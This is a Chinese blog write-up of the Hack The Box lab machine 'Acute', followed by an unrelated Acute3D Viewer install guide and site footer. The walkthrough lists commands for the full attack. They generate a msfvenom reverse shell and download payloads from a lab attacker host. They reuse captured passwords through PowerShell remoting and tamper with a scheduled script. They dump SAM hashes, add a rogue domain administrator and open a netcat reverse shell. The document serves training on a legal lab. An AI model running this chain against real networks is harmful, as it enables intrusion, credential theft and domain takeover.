【Hack The Box】windows练习-- acute

HTB 学习笔记

【Hack The Box】windows练习-- acute


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

这个顺序非常宝贵
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.145
nmap -p 443 -sCV 10.10.11.145

443/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Not valid before: 2022-01-06T06:34:58
|_Not valid after:  2030-01-04T06:34:58
|_ssl-date: 2022-06-06T00:42:38+00:00; -6s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -6s

commonName=atsserver.acute.local
我们要添加大域以及子域
atsserver.acute.local

acute.local

我看443

发现
https://atsserver.acute.local可以访问,另一个是404

我首先抓包分析,这是iis,所以我将注重,txt,aspx,asp的目录

HTTP/2 200 OK
Content-Type: text/html
Last-Modified: Tue, 11 Jan 2022 19:55:13 GMT
Accept-Ranges: bytes
Etag: "60c8ed25257d81:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Tue, 07 Jun 2022 01:15:42 GMT
Content-Length: 77254
feroxbuster -u https://atsserver.acute.local/ -x aspx -k -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 

在这里插入图片描述

文件分析

在这里插入图片描述得到了这么些个用户

Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, and Lois Hopkins.

在这里插入图片描述
有默认密码Password1!
在这里插入图片描述

exiftool New_Starter_CheckList_v7.docx

Creator : FCastle
Description : Created on Acute-PC01

发现了一个创建者,他这个名字像是aaabbb这个人用户名叫做abbb

在这里插入图片描述
在这里插入图片描述
FCastle

Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, and Lois Hopkins.
都不匹配,不过通过观察,我想这个名字应该是首字母加上后面的名字,外国人的命名规则我也不太懂,不过打的多了也就了解了
可能是像jk罗琳一样的吧

awallace
chall
edavies
imonks
jmorgan
lhopkins

所以我生成了如上的用户名列表

在这里插入图片描述
在这里插入图片描述试一试,就试出来了
在这里插入图片描述
生成一个反弹shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.10.14.6 -f exe -o rev.exe

在这里插入图片描述找一个可写目录
再传

在这里插入图片描述
成功

Invoke-WebRequest "http://10.10.14.12/rev.exe" -OutFile "rev.exe"

用这个下载也棒棒
在这里插入图片描述
reg query “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths”

[.ShellClassInfo]
InfoTip=Directory for Testing Files without Defender

wget 10.10.14.12/rev.exe -outfile r.exe
/r.exe

在这里插入图片描述
如果用msf接shell的话,可以利用
screenshare,来定期查看用户屏幕截屏
通过这,我们获得了一些信息
在这里插入图片描述
在这里插入图片描述

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {whoami} -credential $cred

Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

在这里插入图片描述我将按照前两步修改我的凭证环境,然后模仿第三步来执行命令

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {ls /users} -credential $cred
invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {ls /users/imonks/desktop} -credential $cred

在这里插入图片描述

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {cat /users/imonks/desktop/wm.ps1} -credential $cred
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds

jmorgan
有这么个用户,我觉得这应该是最后一步了
我想查看一下管理员组里有没有他,验证一下我的思路
net user jmorgan /domain

在这里插入图片描述
net localgroup Administrators
发现是在admin用户组里的

在这里插入图片描述

Invoke-WebRequest "http://10.10.14.12/rong.exe" -OutFile “rong.exe"

wget http://10.10.14.12/rong.exe -outfile 1.exe 

这是我的最后一步,用来执行反弹shell

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock{((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\utils\1.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred

在这里插入图片描述
在这里插入图片描述崩了不知道为啥,继续来一遍

use exploit/multi/handler
set payload 

我现在得到了反弹shell

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1} -credential $cred

在这里插入图片描述

hash转储

reg save HKLM\sam sam.bak
reg save HKLM\system sys.bak

download sys.bak
download sam.bak
secretsdump.py -sam sam.bak -system sys.bak LOCAL

也可以直接hashdump
在这里插入图片描述
在这里插入图片描述
Password@123

但是登陆不上
我真无语
root.txt也拿不到

借凭据

我将继续借凭据执行命令

$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami } 

在这里插入图片描述
我将继续如此执行命令

Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

在这里插入图片描述

Invoke-Command -ScriptBlock { cat '\program files\keepmeon\keepmeon.bat’ } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
REM This is run every 5 minutes. For Lois use ONLY
@echo off
 for /R %%x in (*.bat) do (
 if not "%%x" == "%~0" call "%%x"
)
PS C:\

它只是循环任何 .bat此目录中的文件,如果它们不是这个,则运行它们。 评论说它每五分钟运行一次,它是给 Lois 的。

在 Word 文档中,有一条关于 Lois 如何将人员添加为“站点管理员”的评论。 查看该域的组,有一个名为 Site_Admin:

我将查看域组

Invoke-Command -ScriptBlock { net group /domain  } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

在这里插入图片描述

Invoke-Command -ScriptBlock { net group Site_Admin /domain  } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

在这里插入图片描述
我将把我添加进这个组来访问域管理员组,通过

Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\0xdf.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat '\program files\keepmeon\0xdf.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

在这里插入图片描述

Invoke-Command -ScriptBlock { net group Site_Admin /domain  } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat \users\administrator\desktop\root.txt  } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

超越根

Invoke-Command -ScriptBlock { whoami /priv  } -ComputerName ATSSERVER -Credential $cred

在这里插入图片描述
好家伙,我直接不知道该用哪个了
添加一个用户

Invoke-Command -ScriptBlock { net user 0xdf abcdABCD1234!@#$ /add /domain /Y } -ComputerName ATSSERVER -Credential $cred

放入domain组

Invoke-Command -ScriptBlock { net group "Domain Admins" 0xdf /add /domain } -ComputerName ATSSERVER -Credential $cred

反弹shell

PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { wget 10.10.14.6/nc64.exe -outfile \programdata\nc64.exe }
PS C:\utils> Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { \programdata\nc64.exe -e cmd 10.10.14.6 444}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Acute3D Viewer是一款用于查看Acute3D软件生成的三维模型的软件。以下是Acute3D Viewer的安装教程。 第一步,打开Acute3D Viewer的安装文件,双击运行该文件。 第二步,选择您要将Acute3D Viewer安装到的目标文件夹。您可以选择默认目标文件夹,也可以自定义目标文件夹。点击“下一步”继续。 第三步,选择开始菜单文件夹。您可以选择将Acute3D Viewer的快捷方式添加到开始菜单的默认文件夹,也可以选择创建一个新的文件夹。点击“下一步”继续。 第四步,选择额外任务。您可以选择添加Acute3D Viewer的桌面快捷方式和快速启动图标。点击“下一步”继续。 第五步,选择安装类型。您可以选择完全安装或者自定义安装。如果您对安装过程不了解,建议选择默认安装。点击“下一步”继续。 第六步,点击“安装”按钮开始安装Acute3D Viewer。安装过程可能需要一些时间,请耐心等待。 第七步,等待安装完成。安装完成后,您可以选择打开Acute3D Viewer。 第八步,启动Acute3D Viewer。在启动Acute3D Viewer之前,系统可能会提示您选择连接Acute3D Viewer的3D模型文件的默认应用程序。您可以选择Acute3D Viewer作为默认应用程序,然后单击“确定”。 这样,您就成功地安装了Acute3D Viewer。现在,您可以使用Acute3D Viewer来查看和浏览Acute3D软件生成的三维模型了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值